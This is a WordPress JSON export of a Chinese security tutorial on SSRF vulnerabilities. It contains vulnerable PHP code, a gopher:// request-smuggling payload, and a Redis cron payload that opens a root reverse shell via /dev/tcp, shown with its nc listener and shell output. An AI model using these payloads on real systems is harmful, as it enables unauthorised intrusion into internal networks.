{"id":105,"date":"2026-08-01T18:06:57","date_gmt":"2026-08-01T10:06:57","guid":{"rendered":"https:\/\/reverier.cn\/?p=105"},"modified":"2026-08-01T18:09:05","modified_gmt":"2026-08-01T10:09:05","slug":"ssrf%e6%bc%8f%e6%b4%9e","status":"publish","type":"post","link":"https:\/\/reverier.cn\/index.php\/2026\/08\/01\/ssrf%e6%bc%8f%e6%b4%9e\/","title":{"rendered":"SSRF\u6f0f\u6d1e"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">\u4ec0\u4e48\u662fSSRF<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SSRF\u7b80\u79f0\u670d\u52a1\u5668\u8bf7\u6c42\u4f2a\u9020\u6f0f\u6d1e\uff0c\u4e00\u5f00\u59cb\u88ab\u79f0\u4f5cXSPA\u6f0f\u6d1e---\u8de8\u7ad9\u7aef\u53e3\u653b\u51fb\u6f0f\u6d1e<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u653b\u51fb\u8005\u6784\u9020\u6076\u610f\u7684URL\uff0c\u7531\u670d\u52a1\u5668\u7aef\u53d1\u8d77\u8bf7\u6c42\u7684\u6f0f\u6d1e\uff0c\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u8ba9\u670d\u52a1\u5668\u66ff\u653b\u51fb\u8005\u53d1\u8bf7\u6c42<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">SSRF\u7684\u5f62\u6210\u539f\u56e0<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e00\u822c\u662f\u670d\u52a1\u7aef\u63d0\u4f9b\u4e86\u4ece\u8fdc\u7a0b\u8bbf\u95ee\u5185\u7f51\u7684\u529f\u80fd\uff0c\u4e14\u6ca1\u6709\u5bf9\u76ee\u6807\u5730\u5740\u8fdb\u884c\u8fc7\u6ee4\u548c\u9650\u5236<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6bd4\u5982<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$imgUrl = $_GET&#91;'catchimage'];\n<br>$context = stream_context_create(<br> &nbsp;array('http'=&gt;\n array((<br> &nbsp; &nbsp;'follow_location' =&gt;\n false \/\/ don't follow redicrects<br>  ))<br>);\n<br>readfile($imgUrl,false,$context);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u4e32\u4ee3\u7801\u7684\u610f\u601d\u662f\u7ed9\u7528\u6237\u63d0\u4f9b\u4e00\u4e2a\u6293\u53d6\u8fdc\u7a0b\u56fe\u7247\u7684\u529f\u80fd<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f46\u662f\u8fd9\u4e32\u4ee3\u7801\u6ca1\u6709\u5bf9catchimage\u53c2\u6570\u8fdb\u884c\u8fc7\u6ee4\uff0c\u4ece\u800c\u5bfc\u81f4\u7528\u6237\u53ef\u4ee5\u6784\u9020URL\uff0c\u8bbf\u95ee\u5185\u7f51<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u5047\u8bbe\u8fd9\u4e2a\u5185\u7f51\u7684\u5730\u5740\u4e3a192.168.50.24:8080<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u90a3\u4e48payload\u5c31\u662f\u8fd9\u6837<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">127.0.0.1:8080\/catchimage.php?catchimage=http:\/\/192.168.50.24:8080<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u8bbf\u95ee192\u7684\u9875\u9762\u4e86<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8be5\u6f0f\u6d1e\u5b9e\u9645\u4e0a\u662f\u64cd\u7eb5\u670d\u52a1\u5668\u53bb\u53d1\u9001\u8bf7\u6c42\uff0c\u5185\u7f51\u65e0\u6cd5\u76f4\u63a5\u8bbf\u95ee\uff0c\u4f46\u662f\u4e0e\u5185\u7f51\u76f8\u901a\u7684\u670d\u52a1\u5668\u53ef\u4ee5\u6240\u4ee5\u6211\u4eec\u5c31\u53ef\u4ee5\u501f\u670d\u52a1\u5668\u6765\u8bbf\u95ee\u5185\u7f51\u7684\u5176\u4ed6\u670d\u52a1\u5668<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">SSRF\u6f0f\u6d1e\u53ef\u80fd\u5b58\u5728\u7684\u5730\u65b9<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SSRF\u53ef\u80fd\u5b58\u5728\u56fe\u7247\u6293\u53d6\uff0c\u7f51\u9875\u5206\u4eab\uff0cFFmpeg\u8f6c\u7801\u7b49\u670d\u52a1\u5668\u5bf9\u5916\u53d1\u8d77\u8bf7\u6c42\u7684\u5730\u65b9\u3002\u6d4b\u8bd5\u65f6\u6ce8\u610f\u76ee\u6807\u7ad9\u70b9\u7684\u529f\u80fd\uff0c\u6ce8\u610f\u5e26\u6709URL\u4ee5\u53ca\u6587\u4ef6\u540d\u7b49\u53ef\u7591\u53c2\u6570\u7b49\u8bf7\u6c42\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1\u3001\u80fd\u591f\u5bf9\u5916\u53d1\u8d77\u7f51\u7edc\u8bf7\u6c42\u7684\u5730\u65b9\uff0c\u5c31\u53ef\u80fd\u5b58\u5728SSRF\u6f0f\u6d1e<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2\u3001\u8fdc\u7a0b\u670d\u52a1\u5668\u8bf7\u6c42\u8d44\u6e90\u7684\u5730\u65b9\uff0c\u5982\u901a\u8fc7URL\u4e0a\u4f20\uff0c\u5bfc\u5165\u6587\u4ef6\u6216\u8005RSS\u8ba2\u9605\u7b49<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3\u3001\u6570\u636e\u5e93\u5185\u7f6e\u529f\u80fd\uff0cOracle\uff0cMongoDB\uff0cMSSQL\uff0cPostgreSQL\uff0cCouhDB\u7b49\u6570\u636e\u5e93\u90fd\u5177\u6709\u52a0\u8f7d\u5916\u90e8URL\u7684\u529f\u80fd<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">4\u3001Webmail\u6536\u53d6\u5176\u4ed6\u90ae\u4ef6\uff0c\u5982POP3\uff0cIMAP\uff0cSMTP<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">5\u3001\u6587\u4ef6\u5904\u7406\uff0c\u7f16\u7801\u5904\u7406\uff0c\u5c5e\u6027\u4fe1\u606f\u5904\u7406\uff0c\u5982FFmpeg\uff0cImageMagic\uff0cWord\uff0cExcel\uff0cPDF\uff0cXML\u7b49<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53\u53d1\u73b0\u4e86SSRF\u6f0f\u6d1e\u4e4b\u540e\uff0c\u63a5\u4e0b\u6765\u5c31\u662f\u8ba8\u8bba\u5982\u4f55\u5229\u7528\u4e86\u3002\u4f46\u662f\u8981\u6ce8\u610f\uff0c\u5728\u4e00\u4e9b\u573a\u666f\u4e0b\uff0cSSRF\u6f0f\u6d1e\u7684\u5229\u7528\u4f1a\u6536\u5230\u9650\u5236<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1\u3001OpenSSL<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53\u670d\u52a1\u5668\u5f00\u542fOpenSSL\u65f6\uff0cSSRF\u8bf7\u6c42\u4e5f\u5fc5\u987b\u9075\u5b88OpenSSL\u6765\u4ea4\u4e92\uff0c\u56e0\u800c\u4e00\u4e9b\u573a\u666f\u4e0b\u65e0\u6cd5\u76f4\u63a5\u5229\u7528<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2\u3001\u9274\u6743<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5927\u90e8\u5206\u7f51\u7ad9\u4f7f\u7528\u4e86cookie\u9274\u6743\uff0c\u8fd8\u6709\u4e00\u90e8\u5206\u4f7f\u7528HTTP Basic\u8ba4\u8bc1\uff0c\u5f53\u653b\u51fb\u8005\u4ec5\u80fd\u63a7\u5236\u4e00\u4e2aURL\u65f6\uff0c\u5f80\u5f80\u65e0\u6cd5\u4eba\u4e3a\u6dfb\u52a0cookie\u6216www-authenticate\u5934\u90e8\u5b57\u6bb5\uff0c\u8fdb\u800c\u65e0\u6cd5\u8bbf\u95ee\u90e8\u5206\u63a5\u53e3<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3\u3001\u6821\u9a8c\u4e86\u5176\u4ed6\u5934\u90e8\u5b57\u6bb5\u60c5\u51b5<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\uff1aReferer\u3002User-Agent<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">SSRF\u5206\u7c7b<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u6839\u636eSSRF\u6f0f\u6d1e\u5728\u4e0d\u540c\u573a\u666f\u4e0b\u7684\u56de\u663e\u5dee\u5f02\u53ef\u4ee5\u5206\u4e3a3\u7c7b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1\u3001\u6709\u56de\u663e<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2\u3001\u534a\u76f2\u56de\u663e\uff08\u534a\u76f2\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3\u3001\u65e0\u56de\u663e\uff08\u5168\u76f2\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5168\u56de\u663e<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6709\u56de\u663e\u7684SSRF\u6bd4\u8f83\u5bb9\u6613\u7406\u89e3\uff0c\u5c31\u662f\u653b\u51fb\u8005\u901a\u8fc7\u64cd\u4f5c\u76ee\u6807\u670d\u52a1\u5668\u6240\u53d1\u51fa\u7684\u8bf7\u6c42\uff0c\u5176\u76f8\u5e94\u5185\u5bb9\u53ef\u4ee5\u56de\u663e\u5728\u9875\u9762\u4e0a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u7528bp\u6293\u5305\u8fdb\u884c\u8bf7\u6c42\u91cd\u653e\u4e00\u822c\u5c31\u53ef\u4ee5\u5728\u91cd\u653e\u5668\u91cc\u9762\u770b\u5230\u6240\u6709\u7684\u76f8\u5e94\u5185\u5bb9<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u534a\u76f2\u56de\u663e<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c31\u662f\u63a5\u6536\u4e0d\u5230\u4efb\u4f55\u7684\u8fd4\u56de\u5185\u5bb9\uff0c\u4f46\u662f\u53ef\u4ee5\u5f97\u5230\u8bf7\u6c42\u6210\u529f\u6216\u5931\u8d25\u7684\u4fe1\u606f\u63d0\u793a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u65e0\u56de\u663e<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c31\u662f\u5565\u90fd\u6536\u4e0d\u5230\uff0c\u4efb\u4f55\u54cd\u5e94\u7684\u4fe1\u606f\u90fd\u63a5\u53d7\u4e0d\u5230\uff0c\u8fd9\u65f6\u6211\u4eec\u9700\u8981\u53bb\u501f\u52a9\u76f2\u6253\u7684\u5f62\u5f0f\uff0c\u7528DNS Log \u6216 HTTP Log\u6765\u5224\u65ad\u8bf7\u6c42\u7684\u6210\u529f\u4e0e\u5426<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">SSRF\u7684\u5371\u5bb3<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u7ecf\u8fc7\u4e0a\u9762\u7684\u4ecb\u7ecd\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0SSRF\u597d\u50cf\u4e5f\u6ca1\u4ec0\u4e48\u5371\u5bb3<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5176\u5b9eSSRF\u7684\u5371\u5bb3\u5982\u4e0b\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1\u3001\u626b\u63cf\u5185\u90e8\u7f51\u7edc\uff0c\u83b7\u53d6\u7f51\u7edc\u7ed3\u6784\u4ee5\u53ca\u5185\u7f51\u673a\u5668\u6307\u7eb9\uff08FingerPrint\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2\u3001\u5411\u5185\u90e8\u8bf7\u6c42\u4efb\u610f\u4e3b\u673a\u7684\u4efb\u610f\u7aef\u53e3\u53d1\u9001\u7cbe\u5fc3\u6784\u9020\u7684\u6570\u636e\u5305\uff08Payload\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3\u3001\u901a\u8fc7\u8bf7\u6c42\u5927\u6587\u4ef6\uff0c\u4fdd\u6301Keep-Alive\u53d1\u8d77\u62d2\u7edd\u670d\u52a1\u653b\u51fb\uff08Dos\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">4\u3001\u53ef\u679a\u4e3e\u66b4\u529b\u7834\u89e3\u7528\u6237\u540d\uff0c\u76ee\u5f55\uff0c\u6587\u4ef6\u7b49\uff0c\u66b4\u529b\u7834\u89e3\uff08Brute Force\uff09<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5229\u7528<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0d\u540c\u7684SSRF\u53d1\u5c04\u70b9\u652f\u6301\u7684\u534f\u8bae\u4e5f\u6709\u6240\u4e0d\u540c\u3002SSRF\u53d1\u5c04\u70b9\u662f\u6307\u670d\u52a1\u5668\u7aef\u53d1\u9001\u8bf7\u6c42\u4f7f\u7528\u7684\u8bed\u8a00\u548c\u51fd\u6570<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6bd4\u5982\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">PHP\u8bed\u8a00\u4e2d\u5e38\u7528libcurl\u6269\u5c55\uff0cJava\u8bed\u8a00\u6709\u65f6\u56de\u7528HttpServlet\u7c7b\u3002\u6709\u65f6\u4e5f\u4f1a\u4f7f\u7528\u5176\u4ed6\u7c7b\u5e93\uff08\u5982ImageIO\uff0cOkHttp\u7b49\uff09\u6765\u95f4\u63a5\u8c03\u7528<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">python\u8bed\u8a00\u5219\u7ecf\u5e38\u4f7f\u7528Request\u5e93\u548curllib2\u5e93<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>SSRF\u53d1\u5c04\u70b9\u51b3\u5b9a\u4e86SSRF\u6f0f\u6d1e\u5229\u7528\u7684\u53ef\u7528\u6027<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">libcurl\u5e93\u652f\u6301\u4e86\u5f88\u591a\u7684\u534f\u8bae<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7ecf\u5e38\u4f7f\u7528\u7684\u5c31\u662fHTTP\u534f\u8bae\u548cGOPHER\u534f\u8bae<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>GOPHER\u534f\u8bae<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u662f\u4e00\u79cd\u6bd4HTTP\u534f\u8bae\u8fd8\u8981\u53e4\u8001\u7684\u534f\u8bae\uff0c\u4ed6\u7684\u9ed8\u8ba4\u5de5\u4f5c\u7aef\u53e3\u662f70\uff0cHTTP\u662f80<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">GOPHER\u534f\u8bae\u5728SSRF\u6f0f\u6d1e\u7684\u5229\u7528\u4e0a\u6bd4HTTP\u534f\u8bae\u66f4\u52a0\u5177\u6709\u4f18\u52bf\u3002\u7531\u4e8eSSRF\u6f0f\u6d1e\u901a\u5e38\u53ea\u5141\u8bb8\u63d0\u4ea4\u4e00\u4e2aURL\uff0c\u6240\u4ee5\uff0c\u4ee5HTTP\u534f\u8bae\u6765\u653b\u51fb\u7684\u8bdd\uff0c\u5c31\u53ea\u80fd\u901a\u8fc7GET\u8bf7\u6c42<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u800cGOPHER\u534f\u8bae\u5219\u53ef\u4ee5\u4ee5\u5355\u4e2aURL\u7684\u5f62\u5f0f\u4f20\u9012POST\u8bf7\u6c42\uff0c\u540c\u65f6\u652f\u6301\u6362\u884c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bf9\u4e8eJAVA\u6765\u8bf4\uff0c\u5176\u652f\u6301\u7684\u534f\u8bae\u56de\u53d7\u5230JDK\u7248\u672c\u9650\u5236\uff0c\u5728JDK8\u4e2d\u79fb\u9664\u4e86GOPHER\u534f\u8bae\u7684\u652f\u6301<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u4f7f\u5f97JAVA\u73af\u5883\u4e0b\u7684SSRF\u5229\u7528\u6bd4PHP\u73af\u5883\u4e25\u683c\u7684\u591a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">GOPHER\u534f\u8bae\u7684\u683c\u5f0f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">URL:gopher:\/\/&lt;host&gt;:&lt;port&gt;\/&lt;gopher-path&gt;_\uff08\u540e\u63a5TCP\u6570\u636e\u6d41\uff09<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bf9\u4e8ePOST\u8bf7\u6c42\uff0c\u53ef\u4ee5\u53d8\u5f62\u4e3a\u5355\u884c\u7684GOPHER\u534f\u8bae<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">HTTP\u534f\u8bae\u7684\u8bf7\u6c42\u539f\u6587\u5982\u4e0b\u6240\u793a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">POST \/ssrf\/base\/post HTTP\/1.1<br>HOST:192.168.0.109<br>\u200b<br>name=MarginPOST \/ssrf\/base\/post HTTP\/1.1<br>HOST:192.168.0.109<br>Content-Type: application\/x-www-form-urlencoded<br>Content-Length: 12<br>\u200b<br>name=Margin<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c06\u5176\u5c01\u88c5\u4e3aGOPHER\u534f\u8bae<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">gopher:\/\/192.168.0.109:80\/_POST%20\/ssrf\/base\/post%20HTTP\/1.1%0d%0aHOST%3a192.168.0.109%0d%0aContent-Type%3a%20application\/x-www-form-urlencoded%0d%0aContent-Length%3a%2012%0d%0a%0d%0aname%3dMargin<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u6848\u4f8b<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">SSRF\u653b\u51fb\u5185\u7f51Redis\u672a\u6388\u6743\u670d\u52a1<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u73b0\u5728\u6211\u4eec\u5047\u8bbe\u8fd9\u4e2a\u670d\u52a1\u5668\u5b58\u5728SSRF\u6f0f\u6d1e\uff0c\u5185\u7f51\u4e2d\u6709\u4e00\u53f0\u672a\u6388\u6743\u8bbf\u95ee\u7684Redis\u670d\u52a1\u5668\uff08\u5047\u8bbeip\u5730\u5740\u4e3a10.1.1.4\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u90a3\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7SSRF\u6765\u83b7\u53d6\u5185\u7f51\u4e2d\u8fd9\u53f0\u670d\u52a1\u5668\u7684\u6743\u9650<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">payload<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">set xxx \"\\n\\n* * * * bash -i&gt;&amp; \/dev\/tcp\/1.2.3.4\/6666 0&gt;&amp;1\\n\\n\"<br>config set dir \/var\/spool\/cron<br>config set dbfilename root<br>save<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8be5\u547d\u4ee4\u5b9e\u73b0\u4e86\u521b\u5efa\u4e00\u4e2a\/var\/spool\/cron \u76ee\u5f55\u4e0broot\u7528\u6237\u7684\u5b9a\u65f6\u4efb\u52a1\uff0c\u6bcf\u5206\u949f\u6267\u884c\u4e00\u6b21\u53cd\u5f39shell\u7684\u547d\u4ee4\uff0c\u7136\u540e\u5bf9Payload\u8fdb\u884c\u4e8c\u6b21URL\u7f16\u7801\uff0c\u671f\u95f4\u66ff\u6362\u201c%0a\u201d\u4e3a\u201c%0d%0a\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f7f\u7528NC\u76d1\u542c<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -lvvp 6666<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6267\u884c\u540e\u7b49\u5f85\u4e00\u5206\u949f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"># \u653b\u51fb\u8005\u7aef\uff08nc -lvnp 6666\uff09<br>Listening on 0.0.0.0 6666<br>Connection from 192.168.0.109 54321 received!<br>bash-5.0# id<br>uid=0(root) gid=0(root) groups=0(root)<br>bash-5.0# whoami<br>root<br>bash-5.0# ls -la \/<br>drwxr-xr-x  19 root root  4096 Jul 31 10:00 .<br>bash-5.0# &nbsp;<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u5c31\u53ef\u4ee5\u5f97\u5230\u8fd9\u4e2a\u9875\u9762<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u9664\u4e86\u653b\u51fb\u5185\u7f51Redis\u5916\uff0c\u901a\u5e38\u8fd8\u53ef\u4ee5\u5bfb\u627eFastCGI\u63a5\u53e3\uff089000\u7aef\u53e3\uff09\u3001FTP\u670d\u52a1\u5668\u3001Tomcat 8005 \u7aef\u53e3\uff08\u670d\u52a1\u5668\u5173\u95ed\u63a7\u5236\u5668\uff09\u53ca8009\u7aef\u53e3\uff08AJP\u534f\u8bae\u3001\u5e7d\u7075\u732b\u6f0f\u6d1e\uff09Zabbix Agent 10050\u7aef\u53e3\u3001Struts2\u6f0f\u6d1e\u670d\u52a1\u5668\u3001Memcached\u670d\u52a1\u5668\u3001CouchDB\u670d\u52a1\u5668\u7b49\u3002\u603b\u4e4b\uff0c\u4f46\u662f\u5185\u7f51\u4e2d\u9274\u6743\u4e0d\u4e25\u683c\u53ef\u4ee5\u83b7\u53d6\u6743\u9650\u7684\u670d\u52a1\u5668\uff0c\u6216\u662f\u5b58\u5728RCE\u6f0f\u6d1e\u53ef\u4ee5\u901a\u8fc7\u65e0\u4ea4\u4e92Payload\u8f7b\u6613GetShell\u7684\u670d\u52a1\u5668\u90fd\u5728\u8003\u8651\u8303\u56f4\u4e4b\u5185<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4ec0\u4e48\u662fSSRF SSRF\u7b80\u79f0\u670d\u52a1\u5668\u8bf7\u6c42\u4f2a\u9020\u6f0f\u6d1e\uff0c\u4e00\u5f00\u59cb\u88ab\u79f0\u4f5cXSPA\u6f0f\u6d1e&#8212;\u8de8\u7ad9\u7aef\u53e3\u653b\u51fb\u6f0f\u6d1e \u653b\u51fb\u8005\u6784\u9020\u6076\u610f\u7684URL\uff0c\u7531\u670d\u52a1\u5668\u7aef &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[10,7],"tags":[],"class_list":["post-105","post","type-post","status-publish","format-standard","hentry","category-web","category-7"],"_links":{"self":[{"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/posts\/105","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/comments?post=105"}],"version-history":[{"count":2,"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/posts\/105\/revisions"}],"predecessor-version":[{"id":109,"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/posts\/105\/revisions\/109"}],"wp:attachment":[{"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/media?parent=105"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/categories?post=105"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reverier.cn\/index.php\/wp-json\/wp\/v2\/tags?post=105"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}